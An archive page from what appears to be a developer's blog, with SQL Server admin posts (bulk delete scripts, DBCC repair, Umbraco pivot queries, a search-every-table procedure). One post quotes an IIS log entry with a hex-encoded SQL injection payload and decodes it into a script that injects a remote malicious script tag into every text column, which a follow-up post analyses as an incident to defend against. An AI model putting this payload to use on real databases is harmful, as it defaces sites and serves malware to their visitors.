Tim

Footprints in the snow of a warped mind

SQLServer

Where to find me

Flickr Icon  Twitter Icon  Linked In Icon  FaceBook Icon  Windows Live Alerts Butterfly  RSS 2.0 

The Site Doctor is Hiring!

Enjoy what you read here?
Think you can do better?
Join our team and get paid
up-to £35,000.
Apply now.

Tag Cloud

AJAX (4) Analysis (3) ASP (6) ASP.Net (59) Error Reporting (4) Web Service (2) WSDL (1) Atlas (2) Azure (1) Born In The Barn (1) Business (94) Business Start-up Advice (36) Client (17) Expanding Your Business (24) Recruitment (1) C# (25) Canoeing (4) Canoe Racing (5) Cheshire Ring Race (5) Racing (2) Training (4) Christmas (1) CIMA (1) Cisco (1) 7970G (1) CMS (1) Code Management (1) Cohorts (4) Commerce4Umbraco (1) Content (1) Content Management (1) Content Management System (1) CSS (4) dasBlog (5) DDD (2) DDDSW (1) Design (12) Icons (1) Development (27) Domain Names (1) eCommerce (12) Email (1) Employment (2) Festive Sparkle (1) General (39) Christmas (6) Fun and Games (11) Internet (22) Random (46) RX-8 (8) Git (2) Google (1) Google AdWords (1) Google Analytics (1) Hacking (1) Helpful Script (3) Home Cinema (2) Hosting (2) HTML (3) IIS (11) iPhone (1) JavaScript (5) jQuery (2) LINQPad (1) Marketing (6) Email (1) Multipack (1) MVC (3) Networking (3) Nintendo (1) Nuget (1) OS Commerce (1) Payment (1) Photography (1) PHP (1) Plugin (1) PowerShell (3) Presentation (1) Press Release (1) Productivity (3) Random Thought (1) Script (2) Security (2) SEO (6) Server Maintenance (7) Server Management (12) Social Media (2) Social Networking (3) Experiment (1) Software (11) Office (5) Visual Studio (14) Windows (5) Vista (1) Source Control (2) SQL (11) SQL Server (19) Starting Something New (2) Statistics (2) Stored Procedure (1) Sublime Text 2 (1) SVN (1) TeaCommerce (1) Testing (2) The Cloud (1) The Site Doctor (139) Turnover Challenge (1) Twitter (3) uCommerce (17) Umbraco (36) 2009 (1) 2011 (1) Useful Script (4) Virtual Machine (1) Web Development (72) WebDD (33) Wii (1) Windows Azure (1) XSLT (1)

Blog Archive

Search

<April 2014>
SunMonTueWedThuFriSat
303112345
6789101112
13141516171819
20212223242526
27282930123
45678910

Recent Comments

Blog Archive

Various Links

Google+

Blogs I Read

[Feed] Google Blog
Official Google Webmaster Central Blog
[Feed] Matt Cutts
Gadgets, Google, and SEO
[Feed] Ol' Deano's Blog
My mate Dean's blog on my space, equally as random as mine but not off on as much of a tangent!
[Feed] Sam's Blog
Sam is one of my younger brothers studying Product Design and Manufacture at Loughborough, this is his blog :) Enjoy!

Disclaimer
The opinions expressed herein are my own personal opinions and do not represent my employer's view in any way.

newtelligence dasBlog 2.2.8279.16125

Send mail to the author(s) Email Me (Tim Gaunt)

© 2014 Tim Gaunt.

Sign In

# Wednesday, December 22, 2010

How to: Remove all users from the ASP.Net Membership database by application name

Wednesday, December 22, 2010 7:08:47 PM (GMT Standard Time, UTC+00:00)

delete_key[1]A while ago I wrote about How to: Remove users from the ASP.Net membership database which showed you how to remove a single user from the ASP.Net membership database from SQL Management Studio. That's great when you're deleting one or two users but what if you're testing and need to delete all users associated with an application?

There's a little more work involved with that one but it's not too difficult, rather than passing in the member's id, you pass in the ApplicationName (same as you set in your web.config) and it will find the various users that match and remove them for you.

USE DatabaseName --This should be your database name
GO

BEGIN TRANSACTION

DECLARE @ApplicationName nvarchar(256)
SET @ApplicationName = '##YOUR APPLICATION NAME -AS SET IN THE WEB.CONFIG ##'

--Lowercase it so it matches LoweredApplicationName exactly 
SET @ApplicationName = LOWER(@ApplicationName)

--Values in the aspnet_Profile table
DELETE p
FROM
	dbo.aspnet_Applications a 
		INNER JOIN dbo.aspnet_Users u ON a.ApplicationId = u.ApplicationId
		INNER JOIN dbo.aspnet_Profile p ON u.UserId = p.UserId
WHERE a.LoweredApplicationName = @ApplicationName

--Values in the aspnet_UsersInRoles table
DELETE r
FROM
	dbo.aspnet_Applications a 
		INNER JOIN dbo.aspnet_Users u ON a.ApplicationId = u.ApplicationId
		INNER JOIN dbo.aspnet_UsersInRoles r ON u.UserId = r.UserId
WHERE a.LoweredApplicationName = @ApplicationName

--Values in the aspnet_PersonalizationPerUser table
DELETE p
FROM
	dbo.aspnet_Applications a 
		INNER JOIN dbo.aspnet_Users u ON a.ApplicationId = u.ApplicationId
		INNER JOIN dbo.aspnet_PersonalizationPerUser p ON u.UserId = p.UserId
WHERE a.LoweredApplicationName = @ApplicationName

--Values in the aspnet_Membership table
DELETE m
FROM
	dbo.aspnet_Applications a 
		INNER JOIN dbo.aspnet_Users u ON a.ApplicationId = u.ApplicationId
		INNER JOIN dbo.aspnet_Membership m ON u.UserId = m.UserId
WHERE a.LoweredApplicationName = @ApplicationName

--Values in the aspnet_users table
DELETE u
FROM dbo.aspnet_Applications a INNER JOIN dbo.aspnet_Users u ON a.ApplicationId = u.ApplicationId
WHERE a.LoweredApplicationName = @ApplicationName

ROLLBACK TRANSACTION
 

Don't forget to follow me on Twitter.

# Tuesday, December 14, 2010

SQL Server: Warning: Fatal error 823 occurred at date / time Note the error and time, and contact your system administrator.

Tuesday, December 14, 2010 12:46:42 PM (GMT Standard Time, UTC+00:00)

error[2]We were contacted the other day by a client with issues selecting data from one of their tables after a recent server crash (not running on our servers or a site that we were involved in developing). The issue was easy enough to recreate as you just needed to select records after the server crash and you'd get the error:

Warning: Fatal error 823 occurred at date / time Note the error and time, and contact your system administrator.

A quick Google suggests a physical disk drive error and having a quick look at the issues it wasn't pretty. Running:

DBCC CHECKDB('DatabaseName') WITH NO_INFOMSGS, ALL_ERRORMSGS

Resulted in:

Msg 8909, Level 16, State 1, Line 5 
Table error: Object ID 0, index ID 12341, page ID (1:5880). The PageId in the page header = (9728:16777220). 
CHECKTABLE found 0 allocation errors and 1 consistency errors not associated with any single object. 


....


DBCC results for 'TableName'. 
Msg 8928, Level 16, State 1, Line 5 
Object ID 871674153, index ID 0: Page (1:5880) could not be processed. See other errors for details. 


....


There are 20993 rows in 584 pages for object 'TableName'. 
CHECKTABLE found 0 allocation errors and 8 consistency errors in table 'TableName' (object ID 871674153). 
Msg 8909, Level 16, State 1, Line 5 
Table error: Object ID 1109413712, index ID 24940, page ID (1:5883). The PageId in the page header = (25198:1632843825). 
CHECKTABLE found 0 allocation errors and 1 consistency errors in table '(Object ID 1109413712)' (object ID 1109413712). 

Most of the solutions found on Google resulted in some form of system restore but that's no good in this instance as the backups only existed for after the problem was identified (great eh!) so were useless.

Although it's not an ideal solution, you can use DBCC CHECKTABLE which in our case fixed the issue:

--Put the database into single user mode
ALTER DATABASE [DatabaseName] SET SINGLE_USER WITH NO_WAIT
--Check the erors and fix any issues found (that you can)
DBCC CHECKTABLE ('Orders', REPAIR_REBUILD)
--Put the database back into multiuser mode
ALTER DATABASE [DatabaseName] SET MULTI_USER WITH NO_WAIT

 

I'd be interested to know other solutions people may have to this issue.

Note to readers: Check that your hosting provider performs regular backups and checks the health of your server regularly to avoid this happening to you.

 

Don't forget to follow me on Twitter.

# Tuesday, November 09, 2010

Download any Umbraco document type’s values as crosstab/Excel table

Tuesday, November 09, 2010 9:16:24 PM (GMT Standard Time, UTC+00:00)

imageIn a follow up to my post yesterday -How to download Umbraco content properties into a crosstab table this is the follow up SQL Script that makes it even easier to download any Umbraco document type into Excel.

This SQL Script is fairly simple, basically what it does is it gets the properties associated with the specified document type and then pivots the values so you end up with a table of data that looks like this:

Id Property 1 Property 2 Property 3 Property n
123 String Int Date xxx

How to use the script

All you need to do is set the parameter "@ContentTypeId" to the document type you want (as in my previous post you can get this by checking out the link on the document type).

Once you set the id, just run the script and voila there's the data.

If you run the code and get "Command(s) completed successfully" then you've not set the id right so double check and try again.

The Script

DECLARE @cols NVARCHAR(max), @ContentTypeId int
SET @ContentTypeId = 1074

SELECT  @cols = STUFF(( 
	SELECT DISTINCT TOP 100 PERCENT
        '],[' 
        + CONVERT(varchar, Name + ' (' + CONVERT(varchar, id) + ')', 255)
    FROM
		dbo.cmsPropertyType
	WHERE
		contentTypeId = @ContentTypeId
    ORDER BY
        '],[' 
        + CONVERT(varchar, Name + ' (' + CONVERT(varchar, id) + ')', 255)
    FOR XML PATH('')
), 1, 2, '') + ']'
--SELECT  @cols

DECLARE @query NVARCHAR(max)
SET @query = N'SELECT Id, ' + @cols + '
FROM
  (
		SELECT
			CONVERT(varchar, t.Name + '' ('' + CONVERT(varchar, t.id) + '')'', 255) As [PropId],
			contentNodeId As [Id],
			ISNULL(dataNvarchar, ISNULL(CONVERT(varchar, dataDate), ISNULL(CONVERT(varchar, dataInt), dataNtext))) As [Value]
		FROM
			dbo.cmsPropertyType t LEFT JOIN dbo.cmsPropertyData d ON t.id = d.propertytypeid
		WHERE
			contentTypeId = ' + CONVERT(varchar, @ContentTypeId) + ' 
) p
PIVOT
(
	MAX(Value) 
	FOR PropId IN ( '+ @cols +' )
) AS pvt
ORDER BY Id ASC'

--PRINT(@query)
EXECUTE(@query)
 

Don't forget to follow me on Twitter.

# Monday, November 08, 2010

Download Umbraco content properties into a crosstab table

Monday, November 08, 2010 4:37:19 PM (GMT Standard Time, UTC+00:00)

Have you ever needed to get a download of your Umbraco content nodes in a cross-tab query e.g. download contact form data from Doc2Form? Using Umbraco's Contour product makes this a breeze but what about older systems? Thankfully, it's not actually that difficult.

We have a contact us form on one of our sites which uses an old version of Doc2Form which emails the customer details of the enquiry. One benefit is it also saves it to the recycle bin as a document with the name: "RE: SYSTEM DATA: umbraco master root". With that in mind, we can use SQL Server's PIVOT functionality to pull the data out in a nicely formatted manner.

Firstly you'll need to know the id's of the document type's properties, there are numerous ways to do this:

1. Just look at the cmsPropertyData table for a couple of content nodes (I could spot the ones I was after fairly easily)

 

2. Query the cmsPropertyType table:

Find the contentTypeId of the document type -you can do this by hovering your mouse over the document type in the tree and checking out the status bar (you can see the contentTypeId in brackets in the bottom left -mine here is 1074):

image

Once you have the contentTypeId of the document type, you can then get the ids of all the properties you're after by replacing "xxx" with your property id in the following script:

SELECT * FROM dbo.cmsPropertyType WHERE contentTypeId = xxx

3. Get it from the source of the document type editor

An alternative way is to examine the HTML of the Document Type editor. If you view the source on the "Generic Properties" tab and scroll to the section you're interested in (there'll be a h2 with the same name) you will find a ul that has the class of "genericPropertyList".

Each li of that ul will have the relevant id as part of it's id e.g. for a section called "Enquiry Form" the id will be: "EnquiryFormContents_49" where "49" is the id we're interested in. You can see mine (49, 50, 51 and 52 below):

image

Once you have these ids to hand (mine were 49, 50, 51 and 52) you just need to update the code below and run against your Umbraco database:

SELECT
	contentNodeId As [Id], 
	[49] As [Name], 
	[50] As [Telephone], 
	[51] As [Email Address], 
	[52] As [Notes]
FROM
(
	SELECT contentNodeId, propertytypeid, ISNULL(dataNvarchar, dataNtext) As [Value]
	FROM dbo.cmsPropertyData
) As src
PIVOT (
	MAX(Value) 
	FOR propertytypeid in ([49], [50], [51], [52])
) aS pvt
WHERE [50] IS NOT NULL OR [51] IS NOT NULL
ORDER BY contentNodeId

 

That will then produce some lovely formatted data for you, my example above produced:

Id Name Telephone Email Address Notes
1154 Example 01234567890 test@test.com Please contact me as soon as possible about your great site, thanks.

 

It's also possible to automate this entire script so you don't need to find out the property ids, I'll post that separately.

 

Don't forget to follow me on Twitter.

# Monday, October 04, 2010

Delete all UCommerce baskets older than x days

Monday, October 04, 2010 10:14:31 AM (GMT Daylight Time, UTC+01:00)

After my last UCommerce post on how to delete test orders and baskets from UCommerce, Søren suggested I extended the delete all baskets code to take into account when it was created. As my last code was relating to deleting test orders/baskets (and so would want to get rid of them all), I decided to post this one separately.

Delete all baskets older than x days

To use this, all you need to do is change the @addedBefore parameter to whatever date/time you want (or just adjust the –7 which represents seven days in the past.

--Delete all carts purchaseorders and associated data within x days
DECLARE @addedBefore smalldatetime
--By default the script deletes everything older than 7 days
SET @addedBefore = DATEADD(dd, -7, GETDATE())

BEGIN TRAN

UPDATE uCommerce_PurchaseOrder SET BillingAddressId = NULL WHERE OrderNumber IS NULL AND CreatedDate <= @addedBefore
DELETE a FROM uCommerce_Shipment a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL AND b.CreatedDate <= @addedBefore
DELETE a FROM uCommerce_OrderAddress a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL AND b.CreatedDate <= @addedBefore
DELETE a FROM uCommerce_OrderProperty a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL AND b.CreatedDate <= @addedBefore
DELETE a FROM uCommerce_OrderLine a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL AND b.CreatedDate <= @addedBefore
DELETE a FROM uCommerce_Payment a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL AND b.CreatedDate <= @addedBefore
DELETE a FROM uCommerce_OrderStatusAudit a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL AND b.CreatedDate <= @addedBefore
DELETE FROM uCommerce_PurchaseOrder WHERE OrderNumber IS NULL AND CreatedDate <= @addedBefore

--Uncomment this
--COMMIT TRAN

--And comment out this
ROLLBACK TRAN
 

Don't forget to follow me on Twitter.

# Friday, October 01, 2010

Deleting test orders and baskets from uCommerce

Friday, October 01, 2010 12:53:43 PM (GMT Daylight Time, UTC+01:00)

Although Søren has posted a helpful post on how to delete entire purchase orders from the database here, we needed something a little less “all or nothing” so put the below together.

Delete a specific order id

--Delete purchaseorders and associated data based on order id
DECLARE @OrderNumber nvarchar(50)
SET @OrderNumber = 'TEST-40'

BEGIN TRAN

UPDATE a SET ShipmentId = NULL FROM uCommerce_OrderLine a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE OrderNumber IS NULL
UPDATE uCommerce_PurchaseOrder SET BillingAddressId = NULL WHERE OrderNumber = @OrderNumber
DELETE a FROM uCommerce_Shipment a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
DELETE a FROM uCommerce_OrderAddress a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
DELETE a FROM uCommerce_OrderProperty a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
DELETE a FROM uCommerce_OrderLine a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
DELETE a FROM uCommerce_Payment a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
DELETE a FROM uCommerce_OrderStatusAudit a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
DELETE FROM uCommerce_PurchaseOrder WHERE OrderNumber = @OrderNumber

--TODO: Expand this so it checks for other orders
--DELETE a FROM uCommerce_Address a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber
--DELETE a FROM uCommerce_Customer a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber = @OrderNumber

--Uncomment this
--COMMIT TRAN

--And comment out this
ROLLBACK TRAN

 

 

Delete all baskets

--Delete all carts purchaseorders and associated data

BEGIN TRAN

UPDATE a SET ShipmentId = NULL FROM uCommerce_OrderLine a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE OrderNumber IS NULL
UPDATE uCommerce_PurchaseOrder SET BillingAddressId = NULL WHERE OrderNumber IS NULL
DELETE a FROM uCommerce_Shipment a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL
DELETE a FROM uCommerce_OrderAddress a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL
DELETE a FROM uCommerce_OrderProperty a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL
DELETE a FROM uCommerce_OrderLine a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL
DELETE a FROM uCommerce_Payment a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL
DELETE a FROM uCommerce_OrderStatusAudit a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.OrderNumber IS NULL
DELETE FROM uCommerce_PurchaseOrder WHERE OrderNumber IS NULL

--TODO: Expand this so it checks for other orders
--DELETE a FROM uCommerce_Address a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.NULL = @NULL
--DELETE a FROM uCommerce_Customer a INNER JOIN uCommerce_PurchaseOrder b ON a.OrderId = b.OrderId WHERE b.NULL = @NULL


--Uncomment this
--COMMIT TRAN

--And comment out this
ROLLBACK TRAN

 

Update: At the request of Søren, I’ve altered the delete all baskets post so it allows you to delete all baskets older than a given date, see: Delete all UCommerce baskets older than x days

 

Don't forget to follow me on Twitter.

# Friday, February 19, 2010

Search every table and field in a SQL Server Database Updated

Friday, February 19, 2010 12:07:28 PM (GMT Standard Time, UTC+00:00)

As some of my blog posts are a little out of date, I thought I would spend some time updating the most popular ones. As I use this script on a regular basis and there was an error with the original posting, I thought I'd update it with a "corrected" version to get things started.

If you want to see the original script, you can refer to How to search every table and field in a SQL Server Database. This one's just fixed :)

As a stand alone script

DECLARE @SearchStr nvarchar(100)
SET @SearchStr = '## YOUR STRING HERE ##'


    -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
    -- Purpose: To search all columns of all tables for a given search string
    -- Written by: Narayana Vyas Kondreddi
    -- Site: http://vyaskn.tripod.com
    -- Updated and tested by Tim Gaunt
    -- http://www.thesitedoctor.co.uk
    -- http://blogs.thesitedoctor.co.uk/tim/2010/02/19/Search+Every+Table+And+Field+In+A+SQL+Server+Database+Updated.aspx
    -- Tested on: SQL Server 7.0, SQL Server 2000, SQL Server 2005 and SQL Server 2010
    -- Date modified: 03rd March 2011 19:00 GMT
    CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))

    SET NOCOUNT ON

    DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
    SET  @TableName = ''
    SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')

    WHILE @TableName IS NOT NULL
    
    BEGIN
        SET @ColumnName = ''
        SET @TableName = 
        (
            SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
            FROM     INFORMATION_SCHEMA.TABLES
            WHERE         TABLE_TYPE = 'BASE TABLE'
                AND    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                AND    OBJECTPROPERTY(
                        OBJECT_ID(
                            QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                             ), 'IsMSShipped'
                               ) = 0
        )

        WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
            
        BEGIN
            SET @ColumnName =
            (
                SELECT MIN(QUOTENAME(COLUMN_NAME))
                FROM     INFORMATION_SCHEMA.COLUMNS
                WHERE         TABLE_SCHEMA    = PARSENAME(@TableName, 2)
                    AND    TABLE_NAME    = PARSENAME(@TableName, 1)
                    AND    DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar', 'int', 'decimal')
                    AND    QUOTENAME(COLUMN_NAME) > @ColumnName
            )
    
            IF @ColumnName IS NOT NULL
            
            BEGIN
                INSERT INTO #Results
                EXEC
                (
                    'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630) FROM ' + @TableName + ' (NOLOCK) ' +
                    ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
                )
            END
        END    
    END

    SELECT ColumnName, ColumnValue FROM #Results

DROP TABLE #Results

As a re-usable stored procedure

CREATE PROC SearchAllTables
(
    @SearchStr nvarchar(100)
)
AS

BEGIN

    -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
    -- Purpose: To search all columns of all tables for a given search string
    -- Written by: Narayana Vyas Kondreddi
    -- Site: http://vyaskn.tripod.com
    -- Updated and tested by Tim Gaunt
    -- http://www.thesitedoctor.co.uk
    -- http://blogs.thesitedoctor.co.uk/tim/2010/02/19/Search+Every+Table+And+Field+In+A+SQL+Server+Database+Updated.aspx
    -- Tested on: SQL Server 7.0, SQL Server 2000, SQL Server 2005 and SQL Server 2010
    -- Date modified: 03rd March 2011 19:00 GMT
    CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))

    SET NOCOUNT ON

    DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
    SET  @TableName = ''
    SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')

    WHILE @TableName IS NOT NULL
    
    BEGIN
        SET @ColumnName = ''
        SET @TableName = 
        (
            SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
            FROM     INFORMATION_SCHEMA.TABLES
            WHERE         TABLE_TYPE = 'BASE TABLE'
                AND    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                AND    OBJECTPROPERTY(
                        OBJECT_ID(
                            QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                             ), 'IsMSShipped'
                               ) = 0
        )

        WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
            
        BEGIN
            SET @ColumnName =
            (
                SELECT MIN(QUOTENAME(COLUMN_NAME))
                FROM     INFORMATION_SCHEMA.COLUMNS
                WHERE         TABLE_SCHEMA    = PARSENAME(@TableName, 2)
                    AND    TABLE_NAME    = PARSENAME(@TableName, 1)
                    AND    DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar', 'int', 'decimal')
                    AND    QUOTENAME(COLUMN_NAME) > @ColumnName
            )
    
            IF @ColumnName IS NOT NULL
            
            BEGIN
                INSERT INTO #Results
                EXEC
                (
                    'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630) FROM ' + @TableName + ' (NOLOCK) ' +
                    ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
                )
            END
        END    
    END

    SELECT ColumnName, ColumnValue FROM #Results
    DROP TABLE #Results
END
 

Don't forget to follow me on Twitter.

# Thursday, May 29, 2008

A seriously elegant SQL Injection -how it was sorted

Thursday, May 29, 2008 3:32:33 PM (GMT Daylight Time, UTC+01:00)

Doug Setzer posted this comment in response to my recent "A seriously elegant SQL Injection" post and I thought it may be of interest to others so have promoted it to a post...


Well, I'll step up and say that I am the "mate" who had this done.  Tim's right - *always* sanitize your inputs.  In my defence, this was a site that I inherited from a previous contractor.  I'm not entirely absent of blame, I still should have done a security sweep through the code.

I'd like to document the steps that I went through once this was identified to try and avoid this kind of thing in the future.

  1. Edit every web page that executes a query to sanitize any parameters that are passed in.  Since the site was classic ASP, I used my "SQLStringFieldValue" function:
    www.27seconds.com/kb/article_view.aspx?id=50
  2. Modify the DB user account that is used to have *read only* access to the database
  3. Modify the pages that DO write to the database to have *read/write* access to the specific tables that are being changed.  This limits the number of places that SQL Injection can occur to a smaller set than was previously possible.  I still sanitize all of my input, but I'm extra spastic in these database calls.
  4. Add database auditing (triggers writing to mirror tables with audit event indicator & date/time) to see when data changes occur.  This is still problematic with the pages that have "write" permissions to the tables, but again- that footprint is much smaller.
    My future plans are to move to a view/stored procedure based architecture.  I can then limit write permissions to just the stored procedures and read permissions to just the views.  My grand gusto plans are to move to using command objects & parameters, but I'd sooner re-write the entire site.

Although Doug's attack wasn't the same nihaorr1.com attack that's going around atm it was similar so I would imagine other's will find this useful.

It still amazes me how many developers still fail to sanitise strings, only last week I came across another site (in PHP) that was allowing simple SQL injections to be used to log into their administration system. It was down to a problem with the sanitization string, but why not at least check your site before it goes live? It takes 2 minutes and even less to fix...

For those of you who need a few pointers, there's a good discussion or two about sanitising strings on the 4 Guys From Rolla site.

 

Don't forget to follow me on Twitter.

# Wednesday, May 28, 2008

A seriously elegant SQL Injection

Wednesday, May 28, 2008 5:46:49 PM (GMT Daylight Time, UTC+01:00)

Having been subject to a recent hack myself I can sympathise with one of my mates who had a SQL injection attack succeed on one of his sites earlier today. Admitadly mine was due to poor internal maintanence whereas this is almost a piece of art...

This is an extract from the IIS log file:

2008-05-20 21:21:28 W3SVC1 xxx.xxx.xxx.xxx POST /news_detail.asp newsID=37;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0039006900350074002E0063006E002F0061002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- 80 - 221.130.180.215 Mozilla/3.0+(compatible;+Indy+Library) - www.domain.com 200 0 0

This works out to:

DECLARE @T varchar(255), @C varchar(255) 
DECLARE Table_Cursor
CURSOR FOR 
select
    a.name,b.name 
from
    sysobjects a,syscolumns b 
where 
    a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

OPEN Table_Cursor 
FETCH NEXT 
FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0)

    BEGIN
        exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://hackersscriptdomain.cn/a.js></script>''')
        FETCH NEXT FROM  Table_Cursor INTO @T,@C 
    END 
CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

Very nice :) (though I can't condone hacking -no matter how elegant it is!)

p.s. The moral of the story is Always sanitise your strings -it's easy!

 

Don't forget to follow me on Twitter.

# Wednesday, May 14, 2008

Native client cannot be found while installing SQL Server 64

Wednesday, May 14, 2008 9:03:44 PM (GMT Daylight Time, UTC+01:00)

We're having fun and games with the new internal dev server. We've got for Windows Server 2008 x64 for a laugh and today was a corker, while trying to install SQL Server 2005 x64 onto the box we repeatedly got an error along the lines of "native client cannot be found sqlncli_x64.msi".

Searching around the install DVD/files didn't reveal anything useful, turns out (after a little Googeling) that Microsoft install the wrong version of the SQL Server Native client tools as part of the prerequisites -instead of the 64bit version you'd expect, they go and install the 32bit which then makes the rest of the installer complain...

Classic! Anyway, thanks to Eric Falsken for the heads up on that error...

 

Don't forget to follow me on Twitter.

# Tuesday, April 15, 2008

SQL Server Management Studio won't install over SQL Server Management Studio Express

Tuesday, April 15, 2008 8:12:20 PM (GMT Daylight Time, UTC+01:00)

Since re-installing my main development machine recently, I've had a real irritation -I had to resort to SQL Server Management Studio Express as I couldn't get the full version installed. This wasn't a problem until today when I had to re-create some full text catalogs (which is one of the things you can't do using the GUI in SQL Server Management Studio Express).

I did look into getting this working before giving up before due to time constraints but this time I had no choice but this time I must have done something differently.

Just to bring you up-to speed, whenever I tried to install SQL Server Management Studio using the SQL Server 2005 installer, I got an error message something along the lines of "Edition Version Conflict". The installer then suggests you uninstall the express tools (which you do) and you try again just to get the same error message.

Most people on Google are just resorting to a complete re-install of your machine but I've found that's because you're not uninstalling the right thing. First thing I did this time was remove Microsoft SQL Server 2005 completely but near the end of the installer it asks you if you want to remove or modify. This time, I chose modify and set all the components to "Entire Feature will be Unavailable". That then seems to uninstall it fully for you. Now uninstall SQL Server Management Studio Express and you're done :)

Hope that helps someone else (or me in a few months time...)

 

Don't forget to follow me on Twitter.

# Friday, November 02, 2007

How to search every table and field in a SQL Server Database

Friday, November 02, 2007 1:28:37 PM (GMT Standard Time, UTC+00:00)

Update: I have corrected the original issue with this script. Please see Search every table and field in a SQL Server Database Updated.

Today I had an issue with Umbraco and a copy of a deleted page appearing in the menu, I'll post how I fix it if I ever do find the answer but while trying to track the issue down I came across a really useful piece of T-SQL from Narayana Vyas Kondreddi (Vyas) that searches each table in a database and then each field in the table. I had to expand it to include integers etc but all credit to him! For reference here's a copy of the code:

Search all tables and fields in a SQL Server Database

CREATE PROC SearchAllTables
(
